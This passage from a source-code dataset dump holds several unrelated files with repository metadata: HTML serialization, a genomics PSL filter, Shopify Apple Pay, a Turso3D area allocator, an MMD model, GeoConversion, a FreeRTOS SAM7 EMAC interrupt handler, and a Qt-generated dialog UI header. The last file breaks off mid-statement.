ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&lt;", 4, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; break; case '>': if(notwritten) { if(callback(data + i - notwritten, notwritten, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&gt;", 4, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; break; case 0xA0: if(i > 0 && (unsigned char)(data[(i - 1)]) == 0xC2) { if(notwritten) { if(callback(data + i - notwritten, (notwritten - 1), ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&nbsp;", 6, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; } else { ++notwritten; } break; default: ++notwritten; break; } } if(notwritten) if(callback(data + size - notwritten, notwritten, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; return MyCORE_STATUS_OK; } /** * Internal method to process an attribute * @param data * @param size * @param callback * @param ptr */ mystatus_t myhtml_serialization_append_attr(const char* data, size_t size, mycore_callback_serialize_f callback, void* ptr) { // number of chars not yet displayed size_t notwritten = 0; // iterate over the buffer for (size_t i = 0; i < size; ++i) { switch ((unsigned char)data[i]) { case '&': if(notwritten) { if(callback(data + i - notwritten, notwritten, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&amp;", 5, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; break; case '"': if(notwritten) { if(callback(data + i - notwritten, notwritten, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&quot;", 6, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; break; case 0xA0: if(i > 0 && (unsigned char)(data[(i - 1)]) == 0xC2) { if(notwritten) { if(callback(data + i - notwritten, (notwritten - 1), ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&nbsp;", 6, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; } else { ++notwritten; } break; default: ++notwritten; break; } } if(notwritten) { if(callback(data + size - notwritten, notwritten, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } return MyCORE_STATUS_OK; } /** * Reallocate the buffer * @param str the buffer to reallocate * @param size new size */ mystatus_t myhtml_serialization_reallocate(mycore_string_raw_t *str, size_t size) { // construct a buffer char *data = (char*)mycore_realloc(str->data, size * sizeof(char)); // was it ok? if(data == NULL) { memset(str, 0, sizeof(mycore_string_raw_t)); return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } else { // reallocation succeeded str->data = data; str->size = size; } return MyCORE_STATUS_OK; } /** * Implementation of the mycore_callback_serialize_f function for internal * use that concatenats everything to a string * @param data * @param size */ mystatus_t myhtml_serialization_concatenate(const char* data, size_t length, void *ptr) { mycore_string_raw_t *str = (mycore_string_raw_t*)ptr; // do we still have enough size in the output buffer? if ((length + str->length) >= str->size) { if(myhtml_serialization_reallocate(str, length + str->length + 4096)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } // copy data strncpy(&str->data[ str->length ], data, length); // update counters str->length += length; str->data[ str->length ] = '\0'; return MyCORE_STATUS_OK; } /** * Serialize tree to an output string * @param tree * @param scope_node * @param str * @return bool */ mystatus_t myhtml_serialization_tree_buffer(myhtml_tree_node_t* scope_node, mycore_string_raw_t* str) { // we need an output variable if(str == NULL) return false; // allocate space that is most likely enough for the output if(str->data == NULL) { str->size = 4098 * 5; str->length = 0; str->data = (char*)mycore_malloc(str->size * sizeof(char)); if(str->data == NULL) { str->size = 0; return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } } return myhtml_serialization_tree_callback(scope_node, myhtml_serialization_concatenate, str); } /** * Serialize node to an output string * @param tree * @param node * @param str * @return bool */ mystatus_t myhtml_serialization_node_buffer(myhtml_tree_node_t* node, mycore_string_raw_t* str) { // we need an output variable if(str == NULL) return false; // allocate space that is most likely enough for the output if(str->data == NULL) { str->size = 2048; str->length = 0; str->data = (char*)mycore_malloc(str->size * sizeof(char)); if(str->data == NULL) { str->size = 0; return false; } } return myhtml_serialization_node_callback(node, myhtml_serialization_concatenate, str); }
32.599278
146
0.585936
1e000c8d111c168dfae7692defc9db3900a02dac
1,670
c
C
src/hg/oneShot/pslCut/pslCut.c
diekhans/kent
f714d84de41a802085b997abac94bb1abab4bd7a
[ "IJG" ]
null
null
null
src/hg/oneShot/pslCut/pslCut.c
diekhans/kent
f714d84de41a802085b997abac94bb1abab4bd7a
[ "IJG" ]
null
null
null
src/hg/oneShot/pslCut/pslCut.c
diekhans/kent
f714d84de41a802085b997abac94bb1abab4bd7a
[ "IJG" ]
null
null
null
/* pslCut - Remove a list of clones from psl file.. */ /* Copyright (C) 2011 The Regents of the University of California * See README in this or parent directory for licensing information. */ #include "common.h" #include "linefile.h" #include "hash.h" #include "psl.h" #include "hCommon.h" void usage() /* Explain usage and exit. */ { errAbort( "pslCut - Remove a list of clones from psl file.\n" "usage:\n" " pslCut cut.lst in.psl out.psl\n"); } void buildCutHash(char *file, struct hash *hash) /* Each line of file contains a file name. Put the * non-dir/non-suffix part onto hash. */ { struct lineFile *lf = lineFileOpen(file, TRUE); char dir[256], name[128], ext[64]; int lineSize; char *line; int count = 0; while (lineFileNext(lf, &line, &lineSize)) { splitPath(line, dir, name, ext); hashStore(hash, name); ++count; } lineFileClose(&lf); printf("%d clones in cut list %s\n", count, file); } void pslCut(char *cutList, char *inPsl, char *outPsl) /* pslCut - Remove a list of clones from psl file.. */ { struct hash *cutHash = newHash(0); struct lineFile *lf = pslFileOpen(inPsl); FILE *f = mustOpen(outPsl, "w"); struct psl *psl; char cloneName[128]; int total = 0, cut = 0; buildCutHash(cutList, cutHash); pslWriteHead(f); while ((psl = pslNext(lf)) != NULL) { fragToCloneName(psl->tName, cloneName); if (!hashLookup(cutHash, cloneName)) { pslTabOut(psl, f); } else ++cut; ++total; pslFree(&psl); } printf("Cut %d of %d\n", cut, total); } int main(int argc, char *argv[]) /* Process command line. */ { if (argc != 4) usage(); pslCut(argv[1], argv[2], argv[3]); return 0; }
21.973684
71
0.644311
afdf406b9ad2225f371f8fb32424e563df39c457
2,844
h
C
ULimit_ShopifySDK/Classes/Utils/BUYApplePayAdditions.h
albertoclarit/ULimit_ShopifySDK
f5a9e71bcbe494da37ee62ed7cbd8e3b81ef4523
[ "MIT" ]
null
null
null
ULimit_ShopifySDK/Classes/Utils/BUYApplePayAdditions.h
albertoclarit/ULimit_ShopifySDK
f5a9e71bcbe494da37ee62ed7cbd8e3b81ef4523
[ "MIT" ]
null
null
null
ULimit_ShopifySDK/Classes/Utils/BUYApplePayAdditions.h
albertoclarit/ULimit_ShopifySDK
f5a9e71bcbe494da37ee62ed7cbd8e3b81ef4523
[ "MIT" ]
null
null
null
// // BUYApplePayAdditions.h // Mobile Buy SDK // // Created by Shopify. // Copyright (c) 2015 Shopify Inc. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // @import Foundation; @import PassKit; #import <ULimit_ShopifySDK/BUYCheckout.h> #import <ULimit_ShopifySDK/BUYShippingRate.h> #import <ULimit_ShopifySDK/BUYAddress.h> NS_ASSUME_NONNULL_BEGIN @interface BUYCheckout (ApplePay) /** * Returns an array of summary items for all Apple Pay requests. Will use 'PAY TOTAL' as the summary label. Apple recommends * including the business name in the summary label, so it is recommended to use `buy_summaryItemsWithShopName` instead. */ - (NSArray<PKPaymentSummaryItem *> *)buy_summaryItems; /** * Returns an array of summary items for all Apple Pay requests using the shop name in the "PAY" section * * @param shopName the shops name * * @return An array of PKPaymentSummaryItems */ - (NSArray<PKPaymentSummaryItem *> *)buy_summaryItemsWithShopName:(nullable NSString *)shopName; @end @interface BUYShippingRate (ApplePay) /** * Returns an array of `PKShippingMethod` objects, based on Shopify's shipping rates. * * @param rates Shipping rates * * @return An array of PKShippingMethods */ + (NSArray<PKShippingMethod *> *)buy_convertShippingRatesToShippingMethods:(NSArray<BUYShippingRate *> *)rates; @end @interface BUYAddress (ApplePay) + (nullable NSString *)buy_emailFromRecord:(nullable ABRecordRef)record NS_DEPRECATED_IOS(8_0, 9_0, "Use the `emailAddress` from the PKContact object instead"); - (void)updateWithRecord:(nullable ABRecordRef)record NS_DEPRECATED_IOS(8_0, 9_0, "Use the CNContact backed `updateWithContact:` instead"); - (void)updateWithContact:(nullable PKContact*)contact NS_AVAILABLE_IOS(9_0); @end NS_ASSUME_NONNULL_END
36.461538
160
0.763713
145cc3887dc6dca7dd7e6c16564ecda545f16a51
2,243
h
C
Turso3D/Math/AreaAllocator.h
cadaver/turso3d
5659df48b7915b95a351dfcad382b3ed653573f2
[ "Zlib" ]
29
2015-03-21T22:35:50.000Z
2022-01-25T04:13:46.000Z
Turso3D/Math/AreaAllocator.h
cadaver/turso3d
5659df48b7915b95a351dfcad382b3ed653573f2
[ "Zlib" ]
1
2016-10-23T16:20:14.000Z
2018-04-13T13:32:13.000Z
Turso3D/Math/AreaAllocator.h
cadaver/turso3d
5659df48b7915b95a351dfcad382b3ed653573f2
[ "Zlib" ]
8
2015-09-28T06:26:41.000Z
2020-12-28T14:29:51.000Z
// For conditions of distribution and use, see copyright notice in License.txt #pragma once #include "IntRect.h" #include "../Base/Vector.h" namespace Turso3D { /// Rectangular area allocator. class TURSO3D_API AreaAllocator { public: /// Default construct with empty size. AreaAllocator(); /// Construct with given width and height. AreaAllocator(int width, int height, bool fastMode = true); /// Construct with given width and height, and set the maximum it is allowed to grow to. AreaAllocator(int width, int height, int maxWidth, int maxHeight, bool fastMode = true); /// Reset to given width and height and remove all previous allocations. void Reset(int width, int height, int maxWidth = 0, int maxHeight = 0, bool fastMode = true); /// Try to allocate a rectangle. Return true on success, with x & y coordinates filled. bool Allocate(int width, int height, int& x, int& y); /// Return the current size. const IntVector2& Size() const { return size; } /// Return the current width. int Width() const { return size.x; } /// Return the current height. int Height() const { return size.y; } /// Return the maximum size. const IntVector2& MaxSize() const { return maxSize; } /// Return the maximum width. int MaxWidth() const { return maxSize.x; } /// Return the maximum height. int MaxHeight() const { return maxSize.y; } /// Return whether uses fast mode. Fast mode uses a simpler allocation scheme which may waste free space, but is OK for eg. fonts. bool IsFastMode() const { return fastMode; } private: /// Remove space from a free rectangle. Return true if the original rectangle should be erased from the free list. Not called in fast mode. bool SplitRect(IntRect original, const IntRect& reserve); /// Clean up redundant free space. Not called in fast mode. void Cleanup(); /// Free rectangles. Vector<IntRect> freeAreas; /// Current size. IntVector2 size; /// Maximum size allowed to grow to. It is zero when it is not allowed to grow. IntVector2 maxSize; /// The dimension used for next growth. Used internally. bool doubleWidth; /// Fast mode flag. bool fastMode; }; }
36.770492
143
0.687472
9b10c4a2ccad7bc436d7cc37fdf7e224c896c9b6
1,027
h
C
Siv3D_MMD/src/MMDModel/mmd_model_pimpl.h
oigami/Siv3D_MMD
bc72403ba2c44ad6238f1b6b183e6c2f1326eee6
[ "MIT" ]
null
null
null
Siv3D_MMD/src/MMDModel/mmd_model_pimpl.h
oigami/Siv3D_MMD
bc72403ba2c44ad6238f1b6b183e6c2f1326eee6
[ "MIT" ]
null
null
null
Siv3D_MMD/src/MMDModel/mmd_model_pimpl.h
oigami/Siv3D_MMD
bc72403ba2c44ad6238f1b6b183e6c2f1326eee6
[ "MIT" ]
null
null
null
#pragma once #include "MMD/MMD.h" #include "MMD/pmd_reader.h" namespace s3d_mmd { class MMDModel::Pimpl { public: std::shared_ptr<ITextureLoader> m_textureLoader; Pimpl(const FilePath& path, const std::shared_ptr<ITextureLoader> textureLoader); Pimpl(PMDReader& loader, const std::shared_ptr<ITextureLoader> textureLoader); void load(const PMDReader& loader, const String& path); Pimpl() : m_handle(NullHandleID) {} void release(); Array<mmd::ModelNode> m_nodes; std::shared_ptr<mmd::Bones> m_bones; pmd_struct::RigidBodies m_rigidBodies; pmd_struct::Joints m_joints; pmd_struct::SkinData m_skinData; String m_modelName; String m_comment; HandleIDType m_handle; std::vector<mmd::MeshVertex> m_vertecies; std::vector<uint16> m_indices; String m_baseDir; mmd::Material createMaterial(const pmd_struct::Material& pmdMaterial, const FilePath& m_filepath) const; void createNode(const PMDReader& loader, const FilePath& m_filepath); }; }
26.333333
108
0.72444
532fff56c8ad49c39e68d4630c4ad3855d6e2771
532
h
C
src/TSPComponent/SRC/INCLUDE/GeoConversion.h
jonatasbcchagas/nds-brkga_bi-ttp
d345a8d7f87b41cf13bb8cf0ae7975ed5ef3d722
[ "Apache-2.0" ]
1
2020-09-01T13:27:05.000Z
2020-09-01T13:27:05.000Z
src/TSPComponent/SRC/INCLUDE/GeoConversion.h
jonatasbcchagas/nds-brkga_bi-ttp
d345a8d7f87b41cf13bb8cf0ae7975ed5ef3d722
[ "Apache-2.0" ]
null
null
null
src/TSPComponent/SRC/INCLUDE/GeoConversion.h
jonatasbcchagas/nds-brkga_bi-ttp
d345a8d7f87b41cf13bb8cf0ae7975ed5ef3d722
[ "Apache-2.0" ]
null
null
null
#ifndef _GEOCONVERSION_H #define _GEOCONVERSION_H /* * This header specifies the interface for conversion of * GEO and GEOM coordinates. */ #include <math.h> void GEO2XYZ(double Lon, double Lat, double *X, double *Y, double *Z); void XYZ2GEO(double X, double Y, double Z, double *Lon, double *Lat); void GEOM2XYZ(double Lon, double Lat, double *X, double *Y, double *Z); void XYZ2GEOM(double X, double Y, double Z, double *Lon, double *Lat); #endif
24.181818
57
0.620301
afaba3bedcd403494415fc6fe2824eee5e146ba5
6,527
c
C
firmware/freertos/semaphore/lib/FreeRTOSV8.2.3/FreeRTOS/Demo/lwIP_Demo_Rowley_ARM7/EMAC/SAM7_EMAC_ISR.c
NCTU-AUV/stm32_write_data_to_rpi
95ab0c653badfb635aa06e86b87055ddb7d8ce21
[ "MIT" ]
null
null
null
firmware/freertos/semaphore/lib/FreeRTOSV8.2.3/FreeRTOS/Demo/lwIP_Demo_Rowley_ARM7/EMAC/SAM7_EMAC_ISR.c
NCTU-AUV/stm32_write_data_to_rpi
95ab0c653badfb635aa06e86b87055ddb7d8ce21
[ "MIT" ]
null
null
null
firmware/freertos/semaphore/lib/FreeRTOSV8.2.3/FreeRTOS/Demo/lwIP_Demo_Rowley_ARM7/EMAC/SAM7_EMAC_ISR.c
NCTU-AUV/stm32_write_data_to_rpi
95ab0c653badfb635aa06e86b87055ddb7d8ce21
[ "MIT" ]
2
2016-03-20T16:01:52.000Z
2016-05-07T08:46:17.000Z
/* FreeRTOS V8.2.3 - Copyright (C) 2015 Real Time Engineers Ltd. All rights reserved VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. This file is part of the FreeRTOS distribution. FreeRTOS is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (version 2) as published by the Free Software Foundation >>>> AND MODIFIED BY <<<< the FreeRTOS exception. *************************************************************************** >>! NOTE: The modification to the GPL is included to allow you to !<< >>! distribute a combined work that includes FreeRTOS without being !<< >>! obliged to provide the source code for proprietary components !<< >>! outside of the FreeRTOS kernel. !<< *************************************************************************** FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Full license text is available on the following link: http://www.freertos.org/a00114.html *************************************************************************** * * * FreeRTOS provides completely free yet professionally developed, * * robust, strictly quality controlled, supported, and cross * * platform software that is more than just the market leader, it * * is the industry's de facto standard. * * * * Help yourself get started quickly while simultaneously helping * * to support the FreeRTOS project by purchasing a FreeRTOS * * tutorial book, reference manual, or both: * * http://www.FreeRTOS.org/Documentation * * * *************************************************************************** http://www.FreeRTOS.org/FAQHelp.html - Having a problem? Start by reading the FAQ page "My application does not run, what could be wrong?". Have you defined configASSERT()? http://www.FreeRTOS.org/support - In return for receiving this top quality embedded software for free we request you assist our global community by participating in the support forum. http://www.FreeRTOS.org/training - Investing in training allows your team to be as productive as possible as early as possible. Now you can receive FreeRTOS training directly from Richard Barry, CEO of Real Time Engineers Ltd, and the world's leading authority on the world's leading RTOS. http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products, including FreeRTOS+Trace - an indispensable productivity tool, a DOS compatible FAT file system, and our tiny thread aware UDP/IP stack. http://www.FreeRTOS.org/labs - Where new FreeRTOS products go to incubate. Come and try FreeRTOS+TCP, our new open source TCP/IP stack for FreeRTOS. http://www.OpenRTOS.com - Real Time Engineers ltd. license FreeRTOS to High Integrity Systems ltd. to sell under the OpenRTOS brand. Low cost OpenRTOS licenses offer ticketed support, indemnification and commercial middleware. http://www.SafeRTOS.com - High Integrity Systems also provide a safety engineered and independently SIL3 certified version for use in safety and mission critical applications that require provable dependability. 1 tab == 4 spaces! */ #include "FreeRTOS.h" #include "task.h" #include "semphr.h" #include "SAM7_EMAC.h" #include "AT91SAM7X256.h" /*-----------------------------------------------------------*/ /* The semaphore used to signal the arrival of new data to the interface task. */ static SemaphoreHandle_t xSemaphore = NULL; /* The interrupt entry point is naked so we can control the context saving. */ void vEMACISR_Wrapper( void ) __attribute__((naked)); /* The interrupt handler function must be separate from the entry function to ensure the correct stack frame is set up. */ void vEMACISR_Handler( void ); /*-----------------------------------------------------------*/ /* * The EMAC ISR. Handles both Tx and Rx complete interrupts. */ void vEMACISR_Handler( void ) { volatile unsigned long ulIntStatus, ulEventStatus; portBASE_TYPE xHigherPriorityTaskWoken = pdFALSE; extern void vClearEMACTxBuffer( void ); /* Find the cause of the interrupt. */ ulIntStatus = AT91C_BASE_EMAC->EMAC_ISR; ulEventStatus = AT91C_BASE_EMAC->EMAC_RSR; if( ( ulIntStatus & AT91C_EMAC_RCOMP ) || ( ulEventStatus & AT91C_EMAC_REC ) ) { /* A frame has been received, signal the lwIP task so it can process the Rx descriptors. */ xSemaphoreGiveFromISR( xSemaphore, &xHigherPriorityTaskWoken ); AT91C_BASE_EMAC->EMAC_RSR = AT91C_EMAC_REC; } if( ulIntStatus & AT91C_EMAC_TCOMP ) { /* A frame has been transmitted. Mark all the buffers used by the frame just transmitted as free again. */ vClearEMACTxBuffer(); AT91C_BASE_EMAC->EMAC_TSR = AT91C_EMAC_COMP; } /* Clear the interrupt. */ AT91C_BASE_AIC->AIC_EOICR = 0; /* If a task was woken by either a frame being received then we may need to switch to another task. If the unblocked task was of higher priority then the interrupted task it will then execute immediately that the ISR completes. */ if( xHigherPriorityTaskWoken ) { portYIELD_FROM_ISR(); } } /*-----------------------------------------------------------*/ void vEMACISR_Wrapper( void ) { /* Save the context of the interrupted task. */ portSAVE_CONTEXT(); /* Call the handler to do the work. This must be a separate function to ensure the stack frame is set up correctly. */ vEMACISR_Handler(); /* Restore the context of whichever task will execute next. */ portRESTORE_CONTEXT(); } /*-----------------------------------------------------------*/ void vPassEMACSemaphore( SemaphoreHandle_t xCreatedSemaphore ) { /* Simply store the semaphore that should be used by the ISR. */ xSemaphore = xCreatedSemaphore; }
42.383117
81
0.608243
637e58f3980c56c0d84ed6fc1ad9ae1ca5b76aae
22,474
h
C
ui_switchmodedlg.h
thinkexist1989/um_qt
81ba6c18193dcbbb6b3ab082a0037549029b8a2d
[ "MIT" ]
2
2021-04-07T05:41:19.000Z
2022-03-27T02:16:59.000Z
ui_switchmodedlg.h
thinkexist1989/um_qt
81ba6c18193dcbbb6b3ab082a0037549029b8a2d
[ "MIT" ]
null
null
null
ui_switchmodedlg.h
thinkexist1989/um_qt
81ba6c18193dcbbb6b3ab082a0037549029b8a2d
[ "MIT" ]
2
2019-12-04T04:32:32.000Z
2020-08-12T06:45:48.000Z
/******************************************************************************** ** Form generated from reading UI file 'switchmodedlg.ui' ** ** Created by: Qt User Interface Compiler version 5.12.2 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************************************************/ #ifndef UI_SWITCHMODEDLG_H #define UI_SWITCHMODEDLG_H #include <QtCore/QVariant> #include <QtGui/QIcon> #include <QtWidgets/QApplication> #include <QtWidgets/QDialog> #include <QtWidgets/QGridLayout> #include <QtWidgets/QLabel> #include <QtWidgets/QLineEdit> #include <QtWidgets/QPushButton> #include <QtWidgets/QSpinBox> QT_BEGIN_NAMESPACE class Ui_SwitchModeDlg { public: QGridLayout *gridLayout; QLabel *label_5; QLabel *label_2; QLabel *label_6; QSpinBox *maxBox_5; QSpinBox *iBox_2; QLineEdit *lineEdit_mode1; QSpinBox *minBox_2; QSpinBox *maxBox_2; QLabel *label_4; QSpinBox *maxBox_3; QLabel *label; QSpinBox *minBox_5; QLineEdit *lineEdit_mode3; QLineEdit *lineEdit_mode4; QLabel *label_3; QLineEdit *lineEdit_mode2; QSpinBox *iBox_3; QSpinBox *minBox_1; QSpinBox *pBox_4; QSpinBox *pBox_3; QSpinBox *maxBox_1; QPushButton *pBtn; QSpinBox *pBox_1; QSpinBox *iBox_4; QSpinBox *dBox_2; QPushButton *refreshBtn; QPushButton *iBtn; QSpinBox *dBox_4; QSpinBox *dBox_3; QSpinBox *iBox_5; QPushButton *maxBtn; QLineEdit *lineEdit_mode5; QSpinBox *pBox_2; QSpinBox *dBox_5; QSpinBox *minBox_3; QSpinBox *iBox_1; QSpinBox *minBox_4; QPushButton *minBtn; QSpinBox *dBox_1; QSpinBox *maxBox_4; QSpinBox *pBox_5; QPushButton *dBtn; QPushButton *rmodeBtn; QPushButton *rminBtn; QPushButton *rmaxBtn; QPushButton *rpBtn; QPushButton *riBtn; QPushButton *rdBtn; QLabel *label_7; void setupUi(QDialog *SwitchModeDlg) { if (SwitchModeDlg->objectName().isEmpty()) SwitchModeDlg->setObjectName(QString::fromUtf8("SwitchModeDlg")); SwitchModeDlg->resize(522, 192); QFont font; font.setFamily(QString::fromUtf8("Times New Roman")); font.setPointSize(12); font.setBold(true); font.setWeight(75); SwitchModeDlg->setFont(font); gridLayout = new QGridLayout(SwitchModeDlg); gridLayout->setSpacing(6); gridLayout->setContentsMargins(11, 11, 11, 11); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); label_5 = new QLabel(SwitchModeDlg); label_5->setObjectName(QString::fromUtf8("label_5")); QSizePolicy sizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding); sizePolicy.setHorizontalStretch(0); sizePolicy.setVerticalStretch(0); sizePolicy.setHeightForWidth(label_5->sizePolicy().hasHeightForWidth()); label_5->setSizePolicy(sizePolicy); QFont font1; font1.setUnderline(true); label_5->setFont(font1); label_5->setFrameShape(QFrame::WinPanel); label_5->setAlignment(Qt::AlignCenter); gridLayout->addWidget(label_5, 4, 0, 1, 1); label_2 = new QLabel(SwitchModeDlg); label_2->setObjectName(QString::fromUtf8("label_2")); sizePolicy.setHeightForWidth(label_2->sizePolicy().hasHeightForWidth()); label_2->setSizePolicy(sizePolicy); gridLayout->addWidget(label_2, 0, 1, 1, 1); label_6 = new QLabel(SwitchModeDlg); label_6->setObjectName(QString::fromUtf8("label_6")); sizePolicy.setHeightForWidth(label_6->sizePolicy().hasHeightForWidth()); label_6->setSizePolicy(sizePolicy); label_6->setFont(font1); label_6->setFrameShape(QFrame::WinPanel); label_6->setAlignment(Qt::AlignCenter); gridLayout->addWidget(label_6, 5, 0, 1, 1); maxBox_5 = new QSpinBox(SwitchModeDlg); maxBox_5->setObjectName(QString::fromUtf8("maxBox_5")); sizePolicy.setHeightForWidth(maxBox_5->sizePolicy().hasHeightForWidth()); maxBox_5->setSizePolicy(sizePolicy); QFont font2; font2.setBold(false); font2.setWeight(50); maxBox_5->setFont(font2); maxBox_5->setMaximum(4095); gridLayout->addWidget(maxBox_5, 5, 3, 1, 1); iBox_2 = new QSpinBox(SwitchModeDlg); iBox_2->setObjectName(QString::fromUtf8("iBox_2")); sizePolicy.setHeightForWidth(iBox_2->sizePolicy().hasHeightForWidth()); iBox_2->setSizePolicy(sizePolicy); iBox_2->setFont(font2); iBox_2->setMaximum(65536); gridLayout->addWidget(iBox_2, 2, 5, 1, 1); lineEdit_mode1 = new QLineEdit(SwitchModeDlg); lineEdit_mode1->setObjectName(QString::fromUtf8("lineEdit_mode1")); lineEdit_mode1->setEnabled(false); sizePolicy.setHeightForWidth(lineEdit_mode1->sizePolicy().hasHeightForWidth()); lineEdit_mode1->setSizePolicy(sizePolicy); lineEdit_mode1->setFont(font2); lineEdit_mode1->setReadOnly(true); gridLayout->addWidget(lineEdit_mode1, 1, 1, 1, 1); minBox_2 = new QSpinBox(SwitchModeDlg); minBox_2->setObjectName(QString::fromUtf8("minBox_2")); sizePolicy.setHeightForWidth(minBox_2->sizePolicy().hasHeightForWidth()); minBox_2->setSizePolicy(sizePolicy); minBox_2->setFont(font2); minBox_2->setMaximum(4095); gridLayout->addWidget(minBox_2, 2, 2, 1, 1); maxBox_2 = new QSpinBox(SwitchModeDlg); maxBox_2->setObjectName(QString::fromUtf8("maxBox_2")); sizePolicy.setHeightForWidth(maxBox_2->sizePolicy().hasHeightForWidth()); maxBox_2->setSizePolicy(sizePolicy); maxBox_2->setFont(font2); maxBox_2->setMaximum(4095); gridLayout->addWidget(maxBox_2, 2, 3, 1, 1); label_4 = new QLabel(SwitchModeDlg); label_4->setObjectName(QString::fromUtf8("label_4")); sizePolicy.setHeightForWidth(label_4->sizePolicy().hasHeightForWidth()); label_4->setSizePolicy(sizePolicy); label_4->setFont(font1); label_4->setFrameShape(QFrame::WinPanel); label_4->setAlignment(Qt::AlignCenter); gridLayout->addWidget(label_4, 3, 0, 1, 1); maxBox_3 = new QSpinBox(SwitchModeDlg); maxBox_3->setObjectName(QString::fromUtf8("maxBox_3")); sizePolicy.setHeightForWidth(maxBox_3->sizePolicy().hasHeightForWidth()); maxBox_3->setSizePolicy(sizePolicy); maxBox_3->setFont(font2); maxBox_3->setMaximum(4095); gridLayout->addWidget(maxBox_3, 3, 3, 1, 1); label = new QLabel(SwitchModeDlg); label->setObjectName(QString::fromUtf8("label")); sizePolicy.setHeightForWidth(label->sizePolicy().hasHeightForWidth()); label->setSizePolicy(sizePolicy); label->setFont(font1); label->setFrameShape(QFrame::WinPanel); label->setAlignment(Qt::AlignCenter); gridLayout->addWidget(label, 1, 0, 1, 1); minBox_5 = new QSpinBox(SwitchModeDlg); minBox_5->setObjectName(QString::fromUtf8("minBox_5")); sizePolicy.setHeightForWidth(minBox_5->sizePolicy().hasHeightForWidth()); minBox_5->setSizePolicy(sizePolicy); minBox_5->setFont(font2); minBox_5->setMaximum(4095); gridLayout->addWidget(minBox_5, 5, 2, 1, 1); lineEdit_mode3 = new QLineEdit(SwitchModeDlg); lineEdit_mode3->setObjectName(QString::fromUtf8("lineEdit_mode3")); lineEdit_mode3->setEnabled(false); sizePolicy.setHeightForWidth(lineEdit_mode3->sizePolicy().hasHeightForWidth()); lineEdit_mode3->setSizePolicy(sizePolicy); lineEdit_mode3->setFont(font2); lineEdit_mode3->setReadOnly(true); gridLayout->addWidget(lineEdit_mode3, 3, 1, 1, 1); lineEdit_mode4 = new QLineEdit(SwitchModeDlg); lineEdit_mode4->setObjectName(QString::fromUtf8("lineEdit_mode4")); lineEdit_mode4->setEnabled(false); sizePolicy.setHeightForWidth(lineEdit_mode4->sizePolicy().hasHeightForWidth()); lineEdit_mode4->setSizePolicy(sizePolicy); lineEdit_mode4->setFont(font2); lineEdit_mode4->setReadOnly(true); gridLayout->addWidget(lineEdit_mode4, 4, 1, 1, 1); label_3 = new QLabel(SwitchModeDlg); label_3->setObjectName(QString::fromUtf8("label_3")); sizePolicy.setHeightForWidth(label_3->sizePolicy().hasHeightForWidth()); label_3->setSizePolicy(sizePolicy); label_3->setFont(font1); label_3->setFrameShape(QFrame::WinPanel); label_3->setAlignment(Qt::AlignCenter); gridLayout->addWidget(label_3, 2, 0, 1, 1); lineEdit_mode2 = new QLineEdit(SwitchModeDlg); lineEdit_mode2->setObjectName(QString::fromUtf8("lineEdit_mode2")); lineEdit_mode2->setEnabled(false); sizePolicy.setHeightForWidth(lineEdit_mode2->sizePolicy().hasHeightForWidth()); lineEdit_mode2->setSizePolicy(sizePolicy); lineEdit_mode2->setFont(font2); lineEdit_mode2->setReadOnly(true); gridLayout->addWidget(lineEdit_mode2, 2, 1, 1, 1); iBox_3 = new QSpinBox(SwitchModeDlg); iBox_3->setObjectName(QString::fromUtf8("iBox_3")); sizePolicy.setHeightForWidth(iBox_3->sizePolicy().hasHeightForWidth()); iBox_3->setSizePolicy(sizePolicy); iBox_3->setFont(font2); iBox_3->setMaximum(65536); gridLayout->addWidget(iBox_3, 3, 5, 1, 1); minBox_1 = new QSpinBox(SwitchModeDlg); minBox_1->setObjectName(QString::fromUtf8("minBox_1")); sizePolicy.setHeightForWidth(minBox_1->sizePolicy().hasHeightForWidth()); minBox_1->setSizePolicy(sizePolicy); minBox_1->setFont(font2); minBox_1->setMaximum(4095); gridLayout->addWidget(minBox_1, 1, 